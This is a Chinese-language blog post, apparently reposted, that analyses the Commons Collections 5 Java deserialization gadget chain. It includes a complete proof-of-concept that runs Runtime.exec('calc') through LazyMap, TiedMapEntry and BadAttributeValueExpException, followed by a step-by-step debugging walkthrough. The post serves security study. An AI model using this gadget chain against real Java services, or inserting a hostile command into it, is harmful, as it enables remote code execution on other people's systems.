Java安全之Commons Collections5分析

Java安全之CommonsCollections5分析文章首发:Java安全之CommonsCollections5分析0x00前言在后面的几条CC链中,如果和前面的链构造都是基本一样的

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections5分析

文章首发:Java安全之Commons Collections5分析

0x00 前言

在后面的几条CC链中,如果和前面的链构造都是基本一样的话,就不细讲了,参考一下前面的几篇文。

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前面的上半段和CC1链是一模一样的,主要来分析在这两者中不同的部分。

HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

前面的new了一个HashMap传入到LazyMap里面,同时也传入了 ChainedTransformer实例化对象,当调用get方法的时候,就会调用到 ChainedTransformertransformf方法,这个没啥好说的,老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。

 TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

TiedMapEntry是一个新生面孔,来查看一下该类源码。

Java安全之Commons Collections5分析

该类的构造方法需要2个参数。所以我们的POC代码中,传入了一个LazyMap实例化对象和一个123的字符做占位。

Java安全之Commons Collections5分析

而在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。这里先不做分析,来到下一步,查看一下,哪个地方会调用到该方法。

Java安全之Commons Collections5分析

而在toString方法里面就会去调用到getValue方法。

 BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

再来看下面一段代码,new了一个BadAttributeValueExpException的对象,并且反射获取val的值,将val的值设置为TiedMapEntry实例化对象。

Java安全之Commons Collections5分析

BadAttributeValueExpExceptionreadObject方法会获取到val的值,然后赋值给valObj变量,然后调用valObjtoString方法。

0x02 CC5链调试

readObject复写点打个断点,也就是BadAttributeValueExpExceptionreadObject方法。

Java安全之Commons Collections5分析

上面断点的地方会去获取val的值,赋值给valObj,前面我们使用反射将val设置为TiedMapEntry的对象。

这里会去调用valObjtoString方法,也就是TiedMapEntrytoString方法。跟进一下该方法,查看调用。

Java安全之Commons Collections5分析

这里面会去调用getKeygetValue方法,这里选择跟踪getValue方法。

Java安全之Commons Collections5分析

这里的this.mapLazyMap实例化对象,是在创建TiedMapEntry对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。

Java安全之Commons Collections5分析

这里会去调用this.factorytransform,也就是ChainedTransformertransform。再来跟进一下。

Java安全之Commons Collections5分析

接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。

Java安全之Commons Collections5分析

这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法。

Java安全之Commons Collections5分析

Java安全之Commons Collections5分析

第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行。

Java安全之Commons Collections5分析

第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面。

Java安全之Commons Collections5分析

第四次执行里面的this.iMethodNameexec,this.iArgscalc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc。弹出计算器。

Java安全之Commons Collections5分析

调用链

BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

0x03 结尾

其实在该链的后面中,并没有写太详细,因为后面和CC1链中的都是一模一样的。如果没有去调试过的话,建议先去调试一下CC1的链

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119904.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 细述Kubernetes和Docker容器的存储方式

    细述Kubernetes和Docker容器的存储方式

  • vim编辑器,可以实现保存退出()_vim进入编辑模式如何保存并退出

    vim编辑器,可以实现保存退出()_vim进入编辑模式如何保存并退出目录1.Vim模式2.在Vim/Vi中打开文件3.在Vim/Vi中保存文件4.保存文件并退出Vim/Vi5.退出Vim/Vi而不保存文件1.Vim模式启动Vim编辑器时,您处于正常模式。在这种模式下,您可以使用vim命令并浏览文件。要输入文字,您需要按i键进入插入模式。使用此模式,您可以像在常规文本编辑器中一样插入和删除字符。要从其他任何模式返回正常模式,只需按Esc键。2.在Vim/Vi中打开文件要使用Vim打开文件,请键入vim,然后输入要编辑或创建的文件的.

  • Python和Java哪个就业前景好?

    Python和Java哪个就业前景好?Python和Java这两大编程语言,很多人都喜欢拿来比较,一个是后起之秀,潜力无限;一个是行业经典,成熟稳定,对于想从事IT技术的人员来说,很难抉择,那么,Python和Java到底哪一个就业前景更好呢?Python在国外应用相对成熟,在国内还处于起步阶段,近两年,随着人工智能、机器学习的、大数据以及云计算的兴起,Python发展势如破竹,很多企业开始进入该行列,Python人才是必不可少环…

  • JDK8新特性-Stream流[通俗易懂]

    JDK8新特性-Stream流[通俗易懂]JDK8新特性-Stream流,本教程附有非常多的例子,看完肯定能懂Stream流!

  • SSDP协议_sntp协议

    SSDP协议_sntp协议近来在研究SSDP,SimpleServiceDiscoveryProtocol(简单服务发现协议)。这是用来实现无配置,自发现局域网内部服务的协议。由IPv4下有固定的239.255.255.250:1900这一固定的地址来负责多播数据。不过,从我的学习经历来说,要啃这种东西,最好的方法还是用例子搞懂名词,并实践一次。其实SSDP协议的请求就三种:byeby

    2022年10月11日
  • git第一次拉取远程代码_第一次从gitlab拉项目到本地

    git第一次拉取远程代码_第一次从gitlab拉项目到本地命令1、查看远程所有分支gitbranch-r#查看远程所有分支PSC:\Users\Lenovo\Desktop\tt\dc-biztable>gitbranch-rorigin/Developorigin/masterorigin/dev2、拉取远程分支到本地gitfetchorigin远程分支名:本地分支名这个远程分支名和本地分支名可以不一样,不过一般都会取一样的名字这样不容易混淆#拉取远程Develop分支到本地Develop

    2022年10月25日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号